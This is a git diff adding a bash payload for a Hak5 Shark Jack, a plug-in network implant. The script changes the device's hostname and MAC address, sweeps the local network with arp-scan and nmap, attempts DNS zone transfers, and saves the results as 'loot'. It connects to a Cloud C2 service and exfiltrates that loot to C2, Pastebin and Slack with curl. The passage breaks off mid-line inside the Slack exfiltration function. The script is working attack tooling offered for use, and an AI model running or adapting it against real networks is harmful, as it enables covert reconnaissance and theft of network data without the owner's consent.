diff --git a/payloads/library/recon/Network-Recon-framework-payload-with-logging-notification-and-exfiltration/payload.sh b/payloads/library/recon/Network-Recon-framework-payload-with-logging-notification-and-exfiltration/payload.sh new file mode 100644 index 0000000..0559d1a --- /dev/null +++ b/payloads/library/recon/Network-Recon-framework-payload-with-logging-notification-and-exfiltration/payload.sh @@ -0,0 +1,670 @@ +#!/bin/bash +# +# Title: network_recon.sh +# Description: Swiss knife network reconnaissance payload with options for SSH server, Cloud C2 exfiltration +# and led blinking for IP address, payload is based on various sample payloads from HAK5, MonsieurMarc, +# Topknot and others. This payload script has been organized in a way it is easy to be extended with +# additional recon (attack) functions. +# Author: Robert Coemans +# Version: 1.0 (19-08-2020) +# Category: Recon +# +# Dependencies: this payload requires you to have the following packages already installed and configured via 'opkg install' (do 'opkg update' first): +# - curl = E.g. to grab external IP address and to post notifications +# - lldpd +# - bind-dig +# - bind-host +# - nano = Just to have a convenient text editor available on the SharkJack +# - libustream-openssl = Needed for ssl (https) e.g. curl +# +# LED indications (https://docs.hak5.org/hc/en-us/articles/360010554653-LED) +# - Booting up = Green blinking +# - Setting up = Magenta solid [LED SETUP] +# - Failures = Red slow blinking [LED FAIL] +# - Getting loot = Yellow single blink [LED ATTACK] +# - Exfiltrating loot = Yellow double blink [LED STAGE2] +# - Blink IP ADDRESS = White blinking (fast blinking = value count, if one of the octets is zero this will be represented as solid for 1 second, long blink = next digit) +# - Finished = Green very fast blinking followed by solid [LED FINISH] +# +# For setting up Slack (exfiltration and notification) check this tutorial: https://dev.to/c0d3b0t/upload-and-publish-a-file-on-slack-channel-with-bash-i2e +# +# ARP-SCAN is using files /usr/share/arp-scan/ieee-iab.txt, /usr/share/arp-scan/ieee-oui.txt and /usr/share/arp-scan/mac-vendor.txt to retrieve vendors based on discovered MAC addresses +# +# Nmap examples (see nmap --help for options) +# - "-sP --host-timeout 30s --max-retries 3" Ping scans the network, listening to hosts that respond tp ping for fast host discovery, a given timeout of 30 seconds and a maximum retries of 3 +# - "-p 1-65535 -sV -sS -T4" Full TCP port scan using with service version detection +# - "-v -sS -A -T4" Prints verbose output, runs stealth syn scan, T4 timing, OS and version detection + traceroute and scripts against target services +# - "--top-ports 20" Scan 20 most common ports +# - "-Pn" No ping +# - "-O" Enable OS detection +# - "-A" Enable OS detection, version detection, script scanning and traceroute +# +# To do / to be fixed +# - Function to find neighbouring subnets +# - LLDPCLI not working with Unifi + +# **************************************************************************************************** +# Configuration +# **************************************************************************************************** + +# Setup toggles +CHANGE_HOSTNAME=false +CHANGE_MAC_ADDRESS=false +LOOKUP_SUBNET=true +COPY_BACK_DHCP_RETRIEVED_DNS_SERVERS=true +USE_CUSTOM_DNS_SERVER=false +START_SSH_SERVER=false +CHECK_DEFAULT_GATEWAY=true +CHECK_INTERNET_ACCESS=true +GET_EXTERNAL_IP_ADDRESS=true +NOTIFY_HOMEY=false +NOTIFY_PUSHOVER=true +NOTIFY_SLACK=false # Need chat:write permissions in app settings! +START_CLOUD_C2_CLIENT=true + +# Attack toggles +GRAB_IFCONFIG_LOOT=true +GRAB_TRACEROUTE_LOOT=true +GRAB_DNS_INFORMATION_LOOT=true +GRAB_PUBLIC_IP_WHOIS_LOOT=true +GRAB_LLDP_LOOT=true +GRAP_ARP_SCAN_LOOT=true +GRAB_NMAP_LOOT=true +GRAB_NMAP_INTERESTING_HOSTS_LOOT=false +GRAB_DIG_LOOT=true +TRY_TO_GET_INTERNAL_DOMAINS=true + +# Finish toggles +EXFIL_TO_CLOUD_C2=false +EXFIL_TO_PASTEBIN=false # Please note the API limitations: guests can create up to 10 new pastes per 24 hours, IP's that make too many requests will be blocked! +EXFIL_TO_SLACK=false # Need files:write permissions in app settings! +BLINK_INTERNAL_IP_ADDRESS=false +HALT_SYSTEM_WHEN_DONE=false + +# Setup variables +LOOT_DIR_ROOT="/root/loot/network-recon" +TODAY=$(date +%Y%m%d) +START_TIME=$(date) +BATTERY_STATUS=$(BATTERY) +HOSTNAME="shark" +MAC_ADDRESS="4a:3f:6d:db:ba:d8" +CUSTOM_NAME_SERVER="192.168.10.1" +RESOLV_CONF_FILE="/etc/resolv.conf" +RESOLV_CONF_AUTO_FILE="/tmp/resolv.conf.auto" +RESOLV_CONF_TMP_FILE="/tmp/resolv.conf" +INTERNET_TEST_HOST="http://www.google.com" +PUBLIC_IP_URL="http://icanhazip.com" +CLOUD_C2_PROVISION="/etc/device.config" + +# Attack variables +TRACEROUTE_HOST="8.8.8.8" +INTERNAL_DOMAINS="mydomain.local" +BANDWIDTH_FOR_ARP_SCAN="100000" +NMAP_OPTIONS_ACTIVE_HOSTS="--top-ports 20" +INTERESTING_HOSTS_PATTERN="Synology|QNAP" +NMAP_OPTIONS_INTERESTING_HOSTS="-v -sS -A -T4" + +# Exfiltrate and notification variables +HOMEY_WEBHOOK_URL="https://{your-homey-id}.connect.athom.com/api/manager/logic/webhook/{your-endpoint}" +PUSHOVER_API_POST_URL="https://api.pushover.net/1/messages.json" +PUSHOVER_APPLICATION_TOKEN="{your-application-token}" +PUSHOVER_USER_TOKEN="{your-user-token}" +PUSHOVER_PRIORITY="1" # send as -2 to generate no notification/alert, -1 to always send as a quiet notification or 1 to display as high-priority and bypass the user's quiet hours! +PUSHOVER_DEVICE="{your-device}" # Multiple devices may be separated by a comma! +PASTEBIN_API_LOGIN_URL="https://pastebin.com/api/api_login.php" +PASTEBIN_API_POST_URL="https://pastebin.com/api/api_post.php" +PASTEBIN_API_USER="{username}" +PASTEBIN_API_PASSWORD="{password}" +PASTEBIN_API_KEY="{your-api-key}" +PASTEBIN_EXPIRE_DATE="1W" # N = Never, 10M = 10 Minutes, 1H = 1 Hour, 1D = 1 Day, 1W = 1 Week, 2W = 2 Weeks, 1M = 1 Month, 6M = 6 Months, 1Y = 1 Year! +SLACK_API_POST_URL="https://slack.com/api/chat.postMessage" +SLACK_API_UPLOAD_URL="https://slack.com/api/files.upload" +SLACK_OAUTH_TOKEN="{your-oauth-token}" +SLACK_CHANNEL_ID="{your-channel-id}" # Use Slack web app to capture channel ID (last bit of URL)! +SLACK_USER="{your-slack-user}" + +# **************************************************************************************************** +# Setup functions +# **************************************************************************************************** + +function CREATE_SCAN_FOLDER() { + if [ ! -d $LOOT_DIR_ROOT ]; then + mkdir -p $LOOT_DIR_ROOT > /dev/null + fi + if [ "ls $LOOT_DIR_ROOT -l | grep "^d" | wc -l" = "0" ]; then + SCAN_COUNT=1 + else + SCAN_COUNT=$(ls $LOOT_DIR_ROOT -l | grep "^d" | awk {'print $9'} | sort -n | awk 'END{print}' | awk -F'-' '{print $1}') + ((SCAN_COUNT++)) + fi + LOOT_DIR=$LOOT_DIR_ROOT/$SCAN_COUNT-$TODAY + mkdir $LOOT_DIR > /dev/null + return +} + +function INITIALIZE_LOG_FILE() { + LOG_FILE=$LOOT_DIR/network-recon.log + touch $LOG_FILE + echo "****************************************************************************************************" >> $LOG_FILE + echo "Payload executed at: $START_TIME" >> $LOG_FILE + echo "SharkJack battery status: $BATTERY_STATUS" >> $LOG_FILE + echo "****************************************************************************************************" >> $LOG_FILE + echo >> $LOG_FILE + echo "Free diskspace before actions: $(df -h | grep overlayfs | awk {'print $4'})" >> $LOG_FILE + echo "Loot directory has been created: $LOOT_DIR" >> $LOG_FILE + return +} + +function SET_NETMODE() { + NETMODE DHCP_CLIENT + echo "NETMODE has been set to DHCP_CLIENT" >> $LOG_FILE + # Wait for an IP address to be obtained + while ! ifconfig eth0 | grep "inet addr"; do sleep 1; done + INTERNAL_IP=$(ip addr | grep -i eth0 | grep -i inet | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}[\/]{1}[0-9]{1,2}" ) + echo "Internal (private) IP address is $INTERNAL_IP" >> $LOG_FILE + return +} + +function CHANGE_HOSTNAME() { + if [ "$CHANGE_HOSTNAME" = "true" ]; then + uci set system.@system[0].hostname=$HOSTNAME + uci commit system + /etc/init.d/system reload + echo "HOSTNAME has been set to: $HOSTNAME" >> $LOG_FILE + else + HOSTNAME=$(cat /proc/sys/kernel/hostname) + echo "HOSTNAME has been set to: $HOSTNAME" >> $LOG_FILE + fi + return +} + +function CHANGE_MAC_ADDRESS() { + if [ "$CHANGE_MAC_ADDRESS" = "true" ]; then + ifconfig eth0 down + ifconfig eth0 hw ether $MAC_ADDRESS + ifconfig eth0 up + while ! ifconfig eth0 | grep "inet addr"; do sleep 1; done + echo "MAC ADDRESS has been set to: $MAC_ADDRESS" >> $LOG_FILE + INTERNAL_IP=$(ip addr | grep -i eth0 | grep -i inet | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}[\/]{1}[0-9]{1,2}" ) + echo "New IP address has been obtained due to MAC ADDRESS change: $INTERNAL_IP" >> $LOG_FILE + else + MAC_ADDRESS=$(ifconfig | grep eth0 | awk {'print $5'}) + echo "MAC ADDRESS has been randomized to: $MAC_ADDRESS" >> $LOG_FILE + fi + return +} + +function LOOKUP_SUBNET () { + if [ "$LOOKUP_SUBNET" = "true" ]; then + SUBNET=$(ip addr | grep -i eth0 | grep -i inet | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}[\/]{1}[0-9]{1,2}" | sed 's/\.[0-9]*\//\.0\//') + echo "Subnet $SUBNET has been looked up" >> $LOG_FILE + fi + return +} + +function COPY_BACK_DHCP_RETRIEVED_DNS_SERVERS() { + if [ "$COPY_BACK_DHCP_RETRIEVED_DNS_SERVERS" = "true" ]; then + RESOLV_CONF_AUTO_CONTENTS=$(cat $RESOLV_CONF_AUTO_FILE | awk {'print tolower($0)'} | awk '{print}' ORS='|' | sed 's/.$//') + RESOLV_CONF_CONTENTS=$(cat $RESOLV_CONF_FILE | awk {'print tolower($0)'} | awk '{print}' ORS='|' | sed 's/.$//') + cp $RESOLV_CONF_AUTO_FILE $RESOLV_CONF_FILE && echo "Contents of $RESOLV_CONF_AUTO_FILE ($RESOLV_CONF_AUTO_CONTENTS) has been copied to $RESOLV_CONF_FILE ($RESOLV_CONF_CONTENTS)" >> $LOG_FILE || echo "Contents of $RESOLV_CONF_AUTO_FILE ($RESOLV_CONF_AUTO_CONTENTS) has NOT been copied to $RESOLV_CONF_FILE ($RESOLV_CONF_CONTENTS)" >> $LOG_FILE + fi + return +} + +function USE_CUSTOM_DNS_SERVER() { + if [ "$USE_CUSTOM_DNS_SERVER" = "true" ]; then + echo "nameserver $CUSTOM_NAME_SERVER" > $RESOLV_CONF_FILE + sleep 2 + RESOLV_CONF_CONTENTS=$(cat $RESOLV_CONF_FILE | awk {'print tolower($0)'} | awk '{print}' ORS='|' | sed 's/.$//') + echo "DNS Server $CUSTOM_NAME_SERVER has been added to $RESOLV_CONF_FILE ($RESOLV_CONF_CONTENTS)" >> $LOG_FILE + fi + return +} + +function START_SSH_SERVER() { + if [ "$START_SSH_SERVER" = "true" ]; then + /etc/init.d/sshd start + sleep 2 + echo "SSH Server has been started" >> $LOG_FILE + fi + return +} + +function CHECK_DEFAULT_GATEWAY() { + if [ "$CHECK_DEFAULT_GATEWAY" = "true" ]; then + DEFAULT_GATEWAY=$(ip r | grep default | cut -d ' ' -f 3) + ping -q -w 1 -c 1 $DEFAULT_GATEWAY > /dev/null && echo "Default Gateway $DEFAULT_GATEWAY can be reached" >> $LOG_FILE || echo "Default Gateway $DEFAULT_GATEWAY cannot be reached" >> $LOG_FILE + fi + return +} + +function CHECK_INTERNET_ACCESS() { + if [ "$CHECK_INTERNET_ACCESS" = "true" ]; then + wget -q --spider $INTERNET_TEST_HOST > /dev/null && echo "Internet test host $INTERNET_TEST_HOST can be reached" >> $LOG_FILE || echo "Internet test host $INTERNET_TEST_HOST cannot be reached" >> $LOG_FILE + fi + return +} + +function GET_EXTERNAL_IP_ADDRESS() { + if [ "$GET_EXTERNAL_IP_ADDRESS" = "true" ]; then + wget -q --spider $PUBLIC_IP_URL > /dev/null && ( EXTERNAL_IP=$(curl $PUBLIC_IP_URL); echo "External (public) IP address is $EXTERNAL_IP" >> $LOG_FILE ) || echo "External (public) IP address cannot be discovered" >> $LOG_FILE + fi + return +} + +function RECON_STARTED_NOTIFICATION() { + if [ "$NOTIFY_HOMEY" = "true" ]; then + curl -s -i -X GET $HOMEY_WEBHOOK_URL?tag="SharkJack_recon_started" > /dev/null && echo "Recon started notification has been sent to Homey" >> $LOG_FILE || echo "Recon started notification has NOT been sent to Homey as something went wrong" >> $LOG_FILE + fi + if [ "$NOTIFY_PUSHOVER" = "true" ]; then + curl -s --form-string token="$PUSHOVER_APPLICATION_TOKEN" --form-string user="$PUSHOVER_USER_TOKEN" --form-string priority="$PUSHOVER_PRIORITY" --form-string device="$PUSHOVER_DEVICE" --form-string title="SharkJack implant detected on date: $(date '+%d-%m-%Y'), time: $(date '+%H:%M') $(date '+%Z %z')" --form-string message="Loot identifier: $SCAN_COUNT-$TODAY, Internal IP address: $INTERNAL_IP, External (public) IP address: $(curl $PUBLIC_IP_URL)" $PUSHOVER_API_POST_URL > /dev/null && echo "Recon started notification has been sent to Pushover" >> $LOG_FILE || echo "Recon started notification has NOT been sent to Pushover as something went wrong" >> $LOG_FILE + fi + if [ "$NOTIFY_SLACK" = "true" ]; then + curl -s -X POST -F text="SharkJack implant detected on date: $(date '+%d-%m-%Y'), time: $(date '+%H:%M') $(date '+%Z %z'). Loot identifier: $SCAN_COUNT-$TODAY, Internal IP address: $INTERNAL_IP, External (public) IP address: $(curl $PUBLIC_IP_URL)" -F channel="$SLACK_CHANNEL_ID" -F user="n$SLACK_USER" -F token="$SLACK_OAUTH_TOKEN" $SLACK_API_POST_URL > /dev/null && echo "Recon started notification has been sent to Slack" >> $LOG_FILE || echo "Recon started notification has NOT been sent to Slack as something went wrong" >> $LOG_FILE + fi + return +} + +function START_CLOUD_C2_CLIENT() { + if [ "$START_CLOUD_C2_CLIENT" = "true" ]; then + if [[ -f "$CLOUD_C2_PROVISION" ]]; then + C2CONNECT + while ! pgrep cc-client; do sleep 1; done + echo "Connected to Cloud C2" >> $LOG_FILE + else + echo "Cloud C2 client configuration file ($CLOUD_C2_PROVISION) does not exists" >> $LOG_FILE + fi + fi + return +} + +# **************************************************************************************************** +# Attack functions +# **************************************************************************************************** + +function GRAB_IFCONFIG_LOOT() { + if [ "$GRAB_IFCONFIG_LOOT" = "true" ]; then + IFCONFIG_LOOT_FILE=$LOOT_DIR/ifconfig.txt + touch $IFCONFIG_LOOT_FILE + echo "****************************************************************************************************" >> $IFCONFIG_LOOT_FILE + echo "IFCONFIG output for ETH0 (ifconfig eth0)" >> $IFCONFIG_LOOT_FILE + echo "****************************************************************************************************" >> $IFCONFIG_LOOT_FILE + echo >> $IFCONFIG_LOOT_FILE + ifconfig eth0 >> $IFCONFIG_LOOT_FILE + echo "****************************************************************************************************" >> $IFCONFIG_LOOT_FILE + echo "IP address output for ETH0 (ip addr show dev eth0)" >> $IFCONFIG_LOOT_FILE + echo "****************************************************************************************************" >> $IFCONFIG_LOOT_FILE + echo >> $IFCONFIG_LOOT_FILE + ip addr show dev eth0 >> $IFCONFIG_LOOT_FILE + echo "IFCONFIG loot has been collected" >> $LOG_FILE + fi + return +} + +function GRAB_TRACEROUTE_LOOT() { + if [ "$GRAB_TRACEROUTE_LOOT" = "true" ]; then + TRACEROUTE_LOOT_FILE=$LOOT_DIR/traceroute.txt + touch $TRACEROUTE_LOOT_FILE + echo "****************************************************************************************************" >> $TRACEROUTE_LOOT_FILE + echo "TRACEROUTE output for host $TRACEROUTE_HOST (traceroute $TRACEROUTE_HOST)" >> $TRACEROUTE_LOOT_FILE + echo "****************************************************************************************************" >> $TRACEROUTE_LOOT_FILE + echo >> $TRACEROUTE_LOOT_FILE + traceroute $TRACEROUTE_HOST >> $TRACEROUTE_LOOT_FILE + echo "TRACEROUTE loot has been collected" >> $LOG_FILE + fi + return +} + +function GRAB_DNS_INFORMATION_LOOT() { + if [ "$GRAB_DNS_INFORMATION_LOOT" = "true" ]; then + DNS_INFORMATION_LOOT_FILE=$LOOT_DIR/dns_information.txt + touch $DNS_INFORMATION_LOOT_FILE + echo "****************************************************************************************************" >> $DNS_INFORMATION_LOOT_FILE + echo "System's Domain Name System (DNS) resolver file: $RESOLV_CONF_FILE" >> $DNS_INFORMATION_LOOT_FILE + echo "****************************************************************************************************" >> $DNS_INFORMATION_LOOT_FILE + echo >> $DNS_INFORMATION_LOOT_FILE + cat $RESOLV_CONF_FILE >> $DNS_INFORMATION_LOOT_FILE + echo >> $DNS_INFORMATION_LOOT_FILE + echo "****************************************************************************************************" >> $DNS_INFORMATION_LOOT_FILE + echo "System's Domain Name System (DNS) resolver file: $RESOLV_CONF_AUTO_FILE" >> $DNS_INFORMATION_LOOT_FILE + echo "****************************************************************************************************" >> $DNS_INFORMATION_LOOT_FILE + echo >> $DNS_INFORMATION_LOOT_FILE + cat $RESOLV_CONF_AUTO_FILE >> $DNS_INFORMATION_LOOT_FILE + echo >> $DNS_INFORMATION_LOOT_FILE + echo "****************************************************************************************************" >> $DNS_INFORMATION_LOOT_FILE + echo "System's Domain Name System (DNS) resolver file: $RESOLV_CONF_TMP_FILE" >> $DNS_INFORMATION_LOOT_FILE + echo "****************************************************************************************************" >> $DNS_INFORMATION_LOOT_FILE + echo >> $DNS_INFORMATION_LOOT_FILE + cat $RESOLV_CONF_TMP_FILE >> $DNS_INFORMATION_LOOT_FILE + echo "DNS information loot has been collected" >> $LOG_FILE + fi + return +} + +function GRAB_PUBLIC_IP_WHOIS_LOOT() { + if [ "$GRAB_PUBLIC_IP_WHOIS_LOOT" = "true" ]; then + PUBLIC_IP_WHOIS_LOOT_FILE=$LOOT_DIR/public_ip_whois.txt + touch $PUBLIC_IP_WHOIS_LOOT_FILE + EXTERNAL_IP=$(curl $PUBLIC_IP_URL) + echo "****************************************************************************************************" >> $PUBLIC_IP_WHOIS_LOOT_FILE + echo "NSLOOKUP $EXTERNAL_IP" >> $PUBLIC_IP_WHOIS_LOOT_FILE + echo "****************************************************************************************************" >> $PUBLIC_IP_WHOIS_LOOT_FILE + echo >> $PUBLIC_IP_WHOIS_LOOT_FILE + nslookup $EXTERNAL_IP >> $PUBLIC_IP_WHOIS_LOOT_FILE + echo "NSLOOKUP for $EXTERNAL_IP has been executed" >> $LOG_FILE + echo "****************************************************************************************************" >> $PUBLIC_IP_WHOIS_LOOT_FILE + echo "WHO.IS $EXTERNAL_IP" >> $PUBLIC_IP_WHOIS_LOOT_FILE + echo "****************************************************************************************************" >> $PUBLIC_IP_WHOIS_LOOT_FILE + echo >> $PUBLIC_IP_WHOIS_LOOT_FILE + curl https://who.is/whois-ip/ip-address/$EXTERNAL_IP | sed -n '/
/,/<\/pre><\/div>/p' | sed 's/\(\|<\/pre><\/div>\)//g' > /dev/null >> $PUBLIC_IP_WHOIS_LOOT_FILE + echo "WHO.IS for $EXTERNAL_IP has been executed" >> $LOG_FILE + fi + return +} + +function GRAB_LLDP_LOOT() { + if [ "$GRAB_LLDP_LOOT" = "true" ]; then + LLDP_LOOT_FILE=$LOOT_DIR/lldp.txt + touch $LLDP_LOOT_FILE + echo "****************************************************************************************************" >> $LLDP_LOOT_FILE + echo "LLDP neighbor details (lldpcli show neighbor details)" >> $LLDP_LOOT_FILE + echo "****************************************************************************************************" >> $LLDP_LOOT_FILE + echo >> $LLDP_LOOT_FILE + lldpcli show neighbor details >> $LLDP_LOOT_FILE + echo >> $LLDP_LOOT_FILE + echo "****************************************************************************************************" >> $LLDP_LOOT_FILE + echo "LLDP interfaces details (lldpcli show interfaces details)" >> $LLDP_LOOT_FILE + echo "****************************************************************************************************" >> $LLDP_LOOT_FILE + echo >> $LLDP_LOOT_FILE + lldpcli show interfaces details >> $LLDP_LOOT_FILE + echo "LLDP loot has been collected" >> $LOG_FILE + fi + return +} + +function GRAP_ARP_SCAN_LOOT() { + if [ "$GRAP_ARP_SCAN_LOOT" = "true" ]; then + ARP_SCAN_LOOT_FILE=$LOOT_DIR/arp-scan.txt + touch $ARP_SCAN_LOOT_FILE + echo "****************************************************************************************************" >> $ARP_SCAN_LOOT_FILE + echo "ARP-SCAN details (arp-scan --bandwidth=$BANDWIDTH_FOR_ARP_SCAN --interface=eth0)" >> $ARP_SCAN_LOOT_FILE + echo "****************************************************************************************************" >> $ARP_SCAN_LOOT_FILE + echo >> $ARP_SCAN_LOOT_FILE + # arp-scan --arpspa $ -g -B $BANDWIDTH_FOR_ARP_SCAN -I eth0 $SUBNET >> $ARP_SCAN_LOOT_FILE + #arp-scan --ignoredups --bandwidth=$BANDWIDTH_FOR_ARP_SCAN --interface=eth0 --localnet >> $ARP_SCAN_LOOT_FILE + arp-scan --bandwidth=$BANDWIDTH_FOR_ARP_SCAN --interface=eth0 --localnet >> $ARP_SCAN_LOOT_FILE + echo "ARP-SCAN loot has been collected" >> $LOG_FILE + fi + return +} + +function GRAB_NMAP_LOOT() { + if [ "$GRAB_NMAP_LOOT" = "true" ]; then + NMAP_LOOT_FILE=$LOOT_DIR/nmap.txt + touch $NMAP_LOOT_FILE + #ACTIVE_HOSTS=( $(nmap $NMAP_QUICKSCAN 192.168.1.0/24 | grep "Nmap scan report for" | awk {'print $5'} | awk '{print}' ORS='\t' | sed 's/.$//') ) # Nmap ping scan output as an array of ip addresses + ACTIVE_HOSTS=( $(arp-scan --localnet | tail -n +3 | head -n -3 | awk {'print $1'} | awk '{print}' ORS='\t' | sed 's/.$//') ) # Arp-scan output as an array of ip addresses + echo "****************************************************************************************************" >> $NMAP_LOOT_FILE + echo "Nmap scan ${#ACTIVE_HOSTS[@]} hosts with nmap options: \"$NMAP_OPTIONS_ACTIVE_HOSTS\"" >> $NMAP_LOOT_FILE + echo "****************************************************************************************************" >> $NMAP_LOOT_FILE + echo >> $NMAP_LOOT_FILE + #nmap $NMAP_OPTIONS_ACTIVE_HOSTS ${ACTIVE_HOSTS[@]} -oN $NMAP_LOOT_FILE > /dev/null && echo "Nmap scan ${#ACTIVE_HOSTS[@]} hosts with nmap options: \"$NMAP_OPTIONS_ACTIVE_HOSTS\" executed succesfully" >> $LOG_FILE || echo "Nmap scan ${#ACTIVE_HOSTS[@]} hosts with nmap options: \"$NMAP_OPTIONS_ACTIVE_HOSTS\" failed" >> $LOG_FILE + nmap $NMAP_OPTIONS_ACTIVE_HOSTS ${ACTIVE_HOSTS[@]} >> $NMAP_LOOT_FILE && echo "Nmap scan ${#ACTIVE_HOSTS[@]} hosts with nmap options: \"$NMAP_OPTIONS_ACTIVE_HOSTS\" executed succesfully" >> $LOG_FILE || echo "Nmap scan ${#ACTIVE_HOSTS[@]} hosts with nmap options: \"$NMAP_OPTIONS_ACTIVE_HOSTS\" failed" >> $LOG_FILE + fi + return +} + +function GRAB_NMAP_INTERESTING_HOSTS_LOOT() { + if [ "$GRAB_NMAP_INTERESTING_HOSTS_LOOT" = "true" ]; then + NMAP_INTERESTING_HOSTS_LOOT_FILE=$LOOT_DIR/nmap_interesting_hosts.txt + touch $NMAP_INTERESTING_HOSTS_LOOT_FILE + INTERESTING_HOSTS=( $(arp-scan --localnet | egrep $INTERESTING_HOSTS_PATTERN | awk {'print $1'} | awk '{print}' ORS='\t' | sed 's/.$//') ) + INTERESTING_HOSTS+=( $(ip r | grep default | cut -d ' ' -f 3) ) + if [ "$GET_EXTERNAL_IP_ADDRESS" = "true" ]; then + INTERESTING_HOSTS+=( $(curl -s $PUBLIC_IP_URL) ) + fi + echo "****************************************************************************************************" >> $NMAP_INTERESTING_HOSTS_LOOT_FILE + echo "Nmap scan ${#INTERESTING_HOSTS[@]} interesting host with nmap options: \"$NMAP_OPTIONS_INTERESTING_HOSTS\"" >> $NMAP_INTERESTING_HOSTS_LOOT_FILE + echo "****************************************************************************************************" >> $NMAP_INTERESTING_HOSTS_LOOT_FILE + echo >> $NMAP_INTERESTING_HOSTS_LOOT_FILE + #nmap $NMAP_OPTIONS_INTERESTING_HOSTS ${INTERESTING_HOSTS[@]} -oN $NMAP_INTERESTING_HOSTS_LOOT_FILE && echo "Nmap scan ${#INTERESTING_HOSTS[@]} interesting host with nmap options: \"$NMAP_OPTIONS_INTERESTING_HOSTS\" executed succesfully" >> $LOG_FILE || echo "Nmap scan ${#INTERESTING_HOSTS[@]} interesting host with nmap options: \"$NMAP_OPTIONS_INTERESTING_HOSTS\" failed" >> $LOG_FILE + nmap $NMAP_OPTIONS_INTERESTING_HOSTS ${INTERESTING_HOSTS[@]} >> $NMAP_INTERESTING_HOSTS_LOOT_FILE && echo "Nmap scan ${#INTERESTING_HOSTS[@]} interesting host with nmap options: \"$NMAP_OPTIONS_INTERESTING_HOSTS\" executed succesfully" >> $LOG_FILE || echo "Nmap scan ${#INTERESTING_HOSTS[@]} interesting host with nmap options: \"$NMAP_OPTIONS_INTERESTING_HOSTS\" failed" >> $LOG_FILE + fi + return +} + +function GRAB_DIG_LOOT() { + if [ "$GRAB_DIG_LOOT" = "true" ]; then + if [ "$TRY_TO_GET_INTERNAL_DOMAINS" = "true" ]; then + #INTERNAL_DOMAINS=$(cat $RESOLV_CONF_FILE $RESOLV_CONF_AUTO_FILE $RESOLV_CONF_TMP_FILE | grep "search" | awk {'print $2'} | sort | uniq) + INTERNAL_DOMAINS=$(cat $RESOLV_CONF_AUTO_FILE | grep "search" | awk {'print $2'} | sort | uniq) + echo "Collecting DIG loot with automatically detected domain(s): $INTERNAL_DOMAINS" >> $LOG_FILE + else + echo "Collecting DIG loot with manually selected domain: $INTERNAL_DOMAINS" >> $LOG_FILE + fi + DIG_LOOT_FILE=$LOOT_DIR/dig.txt + touch $DIG_LOOT_FILE + for INTERNAL_DOMAIN in $INTERNAL_DOMAINS; do + echo "****************************************************************************************************" >> $DIG_LOOT_FILE + echo "DIG basic details (dig $INTERNAL_DOMAIN any)" >> $DIG_LOOT_FILE + echo "****************************************************************************************************" >> $DIG_LOOT_FILE + dig $INTERNAL_DOMAIN any >> $DIG_LOOT_FILE + echo "****************************************************************************************************" >> $DIG_LOOT_FILE + echo "DIG advanced details (dig -tAXFR $INTERNAL_DOMAIN any)" >> $DIG_LOOT_FILE + echo "****************************************************************************************************" >> $DIG_LOOT_FILE + dig -tAXFR $INTERNAL_DOMAIN any >> $DIG_LOOT_FILE + done + echo "DIG loot has been collected" >> $LOG_FILE + fi + return +} + +# **************************************************************************************************** +# Finish functions +# **************************************************************************************************** + +function EXFIL_TO_CLOUD_C2() { + if [ "$EXFIL_TO_CLOUD_C2" = "true" ]; then + if [[ $(pgrep cc-client) ]]; then + LOOT_FILES="$LOOT_DIR/*.txt" + for LOOT_FILE in $LOOT_FILES; do + LOOT_FILE_DESC=${LOOT_FILE/"$LOOT_DIR/"/} + LOOT_FILE_DESC=$SCAN_COUNT-$TODAY-${LOOT_FILE_DESC%.*}-loot + LOOT_FILE_DESC=${LOOT_FILE_DESC^^} + C2EXFIL STRING $LOOT_FILE $LOOT_FILE_DESC && echo "Exfiltration of $LOOT_FILE to Cloud C2 has passed" >> $LOG_FILE || echo "Exfiltration of $LOOT_FILE to Cloud C2 has failed" >> $LOG_FILE + done + LOG_FILE_DESC=$SCAN_COUNT-$TODAY-LOGFILE + C2EXFIL STRING $LOG_FILE $LOG_FILE_DESC && echo "Exfiltration of $LOG_FILE to Cloud C2 has passed" >> $LOG_FILE || echo "Exfiltration of $LOG_FILE to Cloud C2 has failed" >> $LOG_FILE + else + echo "Exfiltration of $LOOT_FILE to Cloud C2 has failed, CC-CLIENT seems not to be running" >> $LOG_FILE + fi + fi + return +} + +function EXFIL_TO_PASTEBIN() { + if [ "$EXFIL_TO_PASTEBIN" = "true" ]; then + # Login to pastebin and get a login key + PASTEBIN_LOGIN_KEY=$(echo | curl -s -d @- -d api_dev_key=$PASTEBIN_API_KEY -d api_user_name=$PASTEBIN_API_USER -d api_user_password=$PASTEBIN_API_PASSWORD $PASTEBIN_API_LOGIN_URL) + # Upload the loot as a paste + LOOT_FILES="$LOOT_DIR/*.txt" + for LOOT_FILE in $LOOT_FILES; do + LOOT_FILE_DESC=${LOOT_FILE/"$LOOT_DIR/"/} + LOOT_FILE_DESC=$SCAN_COUNT-$TODAY-${LOOT_FILE_DESC%.*}-loot + LOOT_FILE_DESC=${LOOT_FILE_DESC^^} + curl -s -d api_paste_code="$(<$LOOT_FILE)" -d api_paste_name="$LOOT_FILE_DESC" -d api_paste_expire_date=$PASTEBIN_EXPIRE_DATE -d api_dev_key=$PASTEBIN_API_KEY -d api_user_key=$PASTEBIN_LOGIN_KEY -d api_option=paste -d api_paste_private=2 $PASTEBIN_API_POST_URL && echo "Exfiltration of $LOOT_FILE to Pastebin has passed" >> $LOG_FILE || echo "Exfiltration of $LOOT_FILE to Pastebin has failed" >> $LOG_FILE + sleep 5 + done + LOG_FILE_DESC=$SCAN_COUNT-$TODAY-LOGFILE + curl -s -d api_paste_code="$(<$LOG_FILE)" -d api_paste_name="$LOG_FILE_DESC" -d api_paste_expire_date=$PASTEBIN_EXPIRE_DATE -d api_dev_key=$PASTEBIN_API_KEY -d api_user_key=$PASTEBIN_LOGIN_KEY -d api_option=paste -d api_paste_private=2 $PASTEBIN_API_POST_URL && echo "Exfiltration of $LOG_FILE to Pastebin has passed" >> $LOG_FILE || echo "Exfiltration of $LOG_FILE to Pastebin has failed" >> $LOG_FILE + fi + return +} + +function EXFIL_TO_SLACK() { + if [ "$EXFIL_TO_SLACK" = "true" ]; then + LOOT_FILES="$LOOT_DIR/*.txt" + for LOOT_FILE in $LOOT_FILES; do + LOOT_FILE_DESC=${LOOT_FILE/"$LOOT_DIR/"/} + LOOT_FILE_DESC=$SCAN_COUNT-$TODAY-${LOOT_FILE_DESC%.*}-loot + LOOT_FILE_DESC=${LOOT_FILE_DESC^^} + curl -s -F title="$LOOT_FILE" -F 